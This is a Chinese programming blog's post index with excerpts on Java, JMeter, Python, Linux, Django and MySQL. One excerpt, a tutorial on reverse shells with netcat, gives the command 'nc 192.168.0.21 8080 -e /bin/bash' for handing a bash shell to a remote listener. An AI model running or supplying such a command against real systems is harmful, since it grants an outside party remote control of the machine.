- 博客(36)
- 收藏
- 关注
原创 java面试题
前两天面试遇到几道题,道道都是坑,坑坑全中,回来想了下,变记录下来。题目一:public class Main { public static int v = 0; public static int add() { return Main.v++; } public static int div() { return Main....
2018-03-14 18:59:25
296
原创 Jmeter-测试JAVA
0x00 前提正好看到用Jmeter测试Java,也不知道有啥用,标题先这么写,等用到了在修改。我现在想着也许有些麻烦的地方直接用Java去写可能方便点,先记录下。0x01 被测试类类ByTest.javapublic class ByTest{ public int sum(int a,int b) { return a+b; }}0
2017-10-05 02:11:08
751
转载 Jmeter常用数据库设置
留个备份DatebaseDriver classDatabase URLMySQLcom.mysql.jdbc.Driverjdbc:mysql://host:port/{dbname}PostgreSQLorg.postgresql.Driverjdbc:pos
2017-10-03 16:23:18
298
原创 Jmeter--HTTP取样器使用数据库中数据进行测试
0x00 前提 假设有URL为http://www.xxx.com/test/?p1=${p1}&p2={p2} MySQL数据库:host:192.168.0.199 , 账号:root ,密码:1234 ,数据库名:ver214 表中值为: CREATE TABLE `test` ( `id` int(11)
2017-10-03 16:20:41
923
原创 笔记:TCP/IP vol.1 第二章链路层 SLIP的捋一捋
前几天看书看到CSMA/CD这个东西,我知道他是链路层的东西又复习了下,书里的这个地方,感觉问题挺多的,记录一下。网络模型中最底层的应该就是链路层了,在链路层里面有很多种协议,比如:CSMA/CD(这里还是有点模糊,他是以太网/IEEE 802那部分的)、SLIP、PPP、PPPoE,lo这几种吧。总是听说通信的时候需要用到MAC地址,这个地方我弄混了,MAC只具有内网意义,所以说在广域网
2017-09-04 01:56:23
391
原创 关闭SSH不结束某希望进程结束,屏蔽SIGHUP信号--nohup
情况是这样的,使用IDEA的时候,有人提供了IDEA的注册程序,网上大把的部署自己服务程序的教程,我老弟那个电脑不知道为什么自己跑不起来,我只好在我租的外网服务器上部署一个IDEA的license程序,但是每次我结束SSH的时候我堂弟就不能再次注册了,比较麻烦。原因:因为这个license server是属于SSH终端的一个子进程,在SSH结束的时候,每个子进程都会收到SIGHUP信号,从
2017-09-02 04:24:34
636
原创 使用Python和nc对远程主机进行反向shell链接
nc这个命令屌炸天,经常用作黑客工具。简单说下反向shell2台Linux电脑A:192.168.0.21B:192.168.0.22A设置nc -lv 8081B执行nc 192.168.0.21 8080 -e /bin/bash这样就A就可以链接上B计算机的shell但是-e这个参数默认时候是木有的,甚者nc命令都木有,可以自己下载源代码编译一个,略麻烦但
2017-08-15 14:49:07
4400
原创 子网划分的好处
最近在看TCP/IP的东西,看到关于子网划分的地方,不大明白为什么需要子网划分,百度了一下,记录下。1.减少广播域2.有效利用和规划IP3.安全考虑,方便管理首先假设掩码为255.255.255.0/24,网络中使用hub,这玩意一次只能一次通信,那么在这个网段中可以有254个主机,广播地址为X.X.X.255,已知通信时候会有广播,将消息广播到没个地址上,量大了效率可想,如果划分
2017-08-09 16:14:26
12896
原创 linux windows双系统,访问Windows文件
公司配的破电脑装Windows太卡了,装了双系统,正好Linux是可以访问NTFS文件系统的,在终端里我想找到我之前在Windows的东西。简单粗暴使用办法使用mount命令1.查看自己有哪些分区,找到要挂载的分区fdisk -l (如果看不到cat /proc/parttions) 8 0 488 sda 8 1 1
2017-07-09 20:17:12
3410
原创 Python 编程中遇到的几个小问题
1.引入同级目录下的xxx.py中的sss类直接在要引入的py文件中 import xxx 或者 from xxx import sss2.*arg在Python的函数用def fun(*args): ’。‘.join(args) print(arg)#arg是一个tuple type(*args)#错误,一次给type传递了3个参数*args
2017-07-04 00:27:05
388
原创 Python自定制tail命令,tail -f 功能小解
因为做Java后端的,所以总需要查看log日志,我不知道别人有啥好的方法查看,我是使用tail -100f ./xxxx.log,调用接口然后赶紧在shell中Ctrl+c,然后在翻过去找,觉得有点累想着改造下,把tail的整个源代码下载下来了tail源代码,开始想着直接在tail.c里面直接修改.然后我做了一件很无聊的事情- -。。。其实我想要的只有tail这个命令的-f选项
2017-07-02 01:10:12
5041
原创 Python post 传递text格式参数(自己组装数据头)
哎,测试的时候要用postman这种工具, 用鼠标点点点,然后又要切到shell中看log日志,切来切去给我弄烦了,想写个脚本偷懒,然后发现几个问题,之前写的都是传递json而且在Java后端里面没有设置为POST,这个接口是要传递json类型的字符串.这就尴尬了...解决办法写在最后,很傻,记录下#传递json 不限制post/get的方法import urllib2,json
2017-06-29 18:06:35
5330
原创 linux 下关于Python 调用shell命令的方式
最近运维哪里总是烦我,让我帮他们测试和配置什么鬼数据库,简直了,懒得每次都被叫只好写个脚本来滥竽充数了.开始写了一个用Python的MySQLdb的,想起来他们线上环境没有这个Python包,我只好在写一个调用shell的了.记录下:四种方法#1.system(...)import osret = os.system('rm -rf /')#返回值ret只有0表示成功,其
2017-06-29 11:41:05
581
原创 Linux ZeroC Ice 环境配置
公司需要用到Ice研究了一下下载好源码,编译完成,make install后会安装到/opt/Ice-3.7.0这个地方执行import Ice会出现找不到包的问题这个是关于Python包的查找问题执行如下:import syssys.path如果在Python中执行了这个又没有显示ice的路径需要将Ice的路径添加进去1.永久添加在shell的rc中添加Py
2017-06-15 16:00:29
2427
原创 Nginx + uwsgi + Django 简单上线配置
先放上我线上部署结果:http://47.94.4.96:8080没用过这种高级玩意,折腾好一阵子了,可算基本能用了.记录一下~参考资料:http://code.ziqiangxuetang.com/django/django-nginx-deploy.html 自强学堂线上环境Ubuntu Python 2.7 Django 1.8 nginx 1.10.
2017-06-12 18:23:02
396
原创 vim + YCM
完成后的效果图时间有限,不想研究太多的vim的配置,也弄不成无光十色的vim,本着简单好用的方式就可以了其他的不管了方法也简单1 安装vundle:git地址: https://github.com/VundleVim/Vundle.vim.git安装vundle命令$ git clone https://github.com/VundleVim/Vundle.
2017-06-09 16:35:13
520
原创 postman接口自动化测试
我在公司负责写接口,经常会变,测一个还好说,多了就烦人了,于是我用Python写自动化测试,今天用了下postman,发现还挺好用的,省去了自己开发脚本除错的功夫了,记录一下。点击测试集合那个文件夹旁边的箭头,可以看到Run,点击就可以集成测试点击后出来这个界面,这里可以设置一些变量值,运行次数等点击Start Run执行
2017-05-25 22:20:44
1100
原创 python str内建函数文档
AttributeError: 'module' object has no attribute 'request'In [5]: dir(urllib)Out[5]:['ContentTooShortError', 'FancyURLopener', 'MAXFTPCACHE', 'URLopener', '__all__', '__builtins__',
2017-05-24 21:22:51
372
转载 web.xml详解
http://www.cnblogs.com/hellojava/archive/2012/12/28/2835730.htmlweb.xml文件详解 前言:一般的web工程中都会用到web.xml,web.xml主要用来配置,可以方便的开发web工程。web.xml主要用来配置Filter、Listener、Servlet等。但是要说明的是web.xml并不是必须的,
2017-05-23 09:29:38
249
原创 zsh上ls命令只能单行显示的有趣发现
bash什么行为我不记得了,在zsh中如果使用ls有的时候不是一排显示多个文件而是只显示一个文件,之前很久没找到原因,找了半天没发现哪里能配置,今天无意间发现了。这是因为有个文件名超级长的文件存在,使得多行无法显示这个文件的全名。给他改名到合适的大小就可以了,拯救强迫症的我。
2017-05-21 01:03:07
1295
原创 Linux命令 ln
今天加班,看到部署线上环境的时候他们使用了ln命令,有点想法,觉得还不错,之前一直认为这东西没啥用,发现在线上部署的时候,使用一个软连接,就不需要修改过多的文件或配置文件,同时保证线上程序出问题的时候回归也方便通过直接修改软连接进行回滚。PS:注意 假如有一个软连接 ==>softlink->/user/root/local/xxx 那么在rm的时候如果 rm sotflink/会删除目录下的
2017-05-20 23:20:46
645
原创 Linux网络常用命令之ifconfig
ifconfig [-v] [-a] [-s] [interface] ifconfig [-v] interface [aftype] options | address ...概要如果无参数直接使用显示所以激活的interface,-a显示全部interface包括为激活的 -s 简短的信息 -v全部的信息 至于像metric这种不常用的不描述直接使用if
2017-05-20 00:03:23
535
原创 django+mysql+syncdb
1.安装python-MysqlDbsudo pip install MySQL-python2.配置工程目录下的setting.pyDATABASES = {'defalut' : {'ENGINE':'django.db.backends.mysql','NAME':'你的数据库名字','USER':'用户名','PASSWORD
2017-05-19 15:18:23
413
原创 jdbcTemplate 模糊查找 和 in
在JdbcTemplate中使用模糊查找like的时候 如果sql = "..... LIKE %?% " 是不可以的直接用 sql="...like ? "jdbcTemplate.query(sql, new Object[]{"%abc%"})就可以过去另外在IN中直接使用 in(?)或者in ? 那种都不行
2017-05-18 10:15:23
5760
原创 Python 有关于格式化字符串
与C++/java不一样,我觉得Python的字符串格式化更好用些#1.普通常见的"%s,格式化" % "普通的一个的""%s,%s,格式化" % ("有多个参数的","普通的")#2.字典的,和普通的一起处理d = {'key': "字典的", "key2":"多个的", "vvvv":""}"%(key)s,%(key2)s,格式化" % d#位置参
2017-05-12 15:40:44
212
原创 使用Python做接口测试
写接口的时候需要对接口进行测试,一般会选用postman这种工具,但是需要一个一个的用鼠标去点他,尤其有些返回值需要手动去更新就更麻烦了,使用脚本自动去测试可以减轻一定的工作量.反正闲着也是闲着,在代码开发的同时脚本也能基本写完了.我在写接口的时候的基本任务是:登陆获取登陆后的token通过json返回,使用token进行后续的操作问题1传递数据进行登陆我们是使用json进行传
2017-05-12 09:14:21
8259
转载 MySQL之alter语句用法总结
1:删除列ALTER TABLE 【表名字】 DROP 【列名称】2:增加列ALTER TABLE 【表名字】 ADD 【列名称】 INT NOT NULL COMMENT '注释说明'3:修改列的类型信息ALTER TABLE 【表名字】 CHANGE 【列名称】【新列名称(这里可以用和原来列同名即可)】 BIGINT NOT NULL COMMENT '注释说明'4
2017-05-08 10:01:07
250
原创 Vector与ArrayList的简单区别
从Diagram上来看,实现的接口完全一样引用ArrayList原文(This class is roughly equivalent to* Vector, except that it is unsynchronized.)ArrayList与Vector等价除了ArrayList不是线程同步的
2017-05-07 18:28:59
239
转载 侵入式和非侵入式的区别
侵入式和非侵入式的区别简单说一下我的理解吧。假设大家都想要把用户代码塞到一个框架里。侵入式的做法就是要求用户代码“知道”框架的代码,表现为用户代码需要继承框架提供的类。非侵入式则不需要用户代码引入框架代码的信息,从类的编写者角度来看,察觉不到框架的存在。例如:使用struts的时候,我需要继承一些struts的类,这时struts侵入到了我的代码里。使用spring,编写一些业务类
2017-04-26 09:35:34
766
原创 Annotation注解
JDK5开始增加元数据支持,也就是Annotation什么是元数据:元数据又称中介数据、中继数据,为描述数据的数据,主要是描述数据属性的信息。第一次见在Python的Django中,我在创建表单/model的时候可以看到有个叫做Meta的东西,他涉及到Python的类创建,简单的说就是给type()提供了一些变量和值。详细原理http://blog.jobbole.com/21351/
2017-04-24 16:05:32
235
原创 简述Struts2的url匹配方式
Java的水那么深,猛的一进来确实难受,配置文件看不懂,不知道在搞什么事情,现在简单的理解下,至少可以开始写点什么东西.大概说说,很不够细,也非常基础.每个Java Web工程下都有一个WEB-INF文件,里面有个web.xml文件只简述url的匹配模式,其他的选项不关心 Struts2 /*/* 设URL为:http
2017-04-24 15:11:16
1818
原创 Java第二次记录
上了几天班,没有给我分配工作内容,一直在弄环境,把环境切换到Mac下IDEA路上走了很多坑,总结一下环境:Mac JDK8 Intellij-IDEA resin-4.0.40.准备工作用IDEA导入工程后,添加Resin的Run/Debug configuration1.配合Run/Debug Configuration~点击configuration~选择resin的目
2017-04-24 13:47:16
983
1
原创 Java入职第一次记录,环境配置
入职第一天,满脸蒙圈了JVM配置完成。配置MyEclipse ,安装完成后。MyEclipse和IDEA不同没有直接的plugin商店,需要自己搞下。1.MyEclipse中>>help>>MyEclipse Configuration Center等待打开页面2.选择Software页签,在Browse Software哪里找到add site,名字自定义URL输入htt
2017-04-18 19:27:15
2918
原创 我的java入门
1.代码块 代码块有静态和非静态形式。 静态的属于类,非静态的属于对象,与static关键字行为一致。顺序静态》普通快》构造方法2.隐式转换 比c++简单,行为类似3.默认初始化非随机值,初始化为04.数组int[] a= new int[n]更佳int a[] = new int[n]int[] a = {1,2,3}int[] a= new
2017-04-14 21:42:39
225
原创 课后习题
////introduction of Algorithm chapter 2 2.3-6//将插入排序改成二分法,时间复杂度是不是可以改成(nlgn)?-------->不可以int binary_ret(int * ary, int start, int end, int key){ for (int i = start; i < end; i++) { if
2015-05-10 15:05:46
423
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人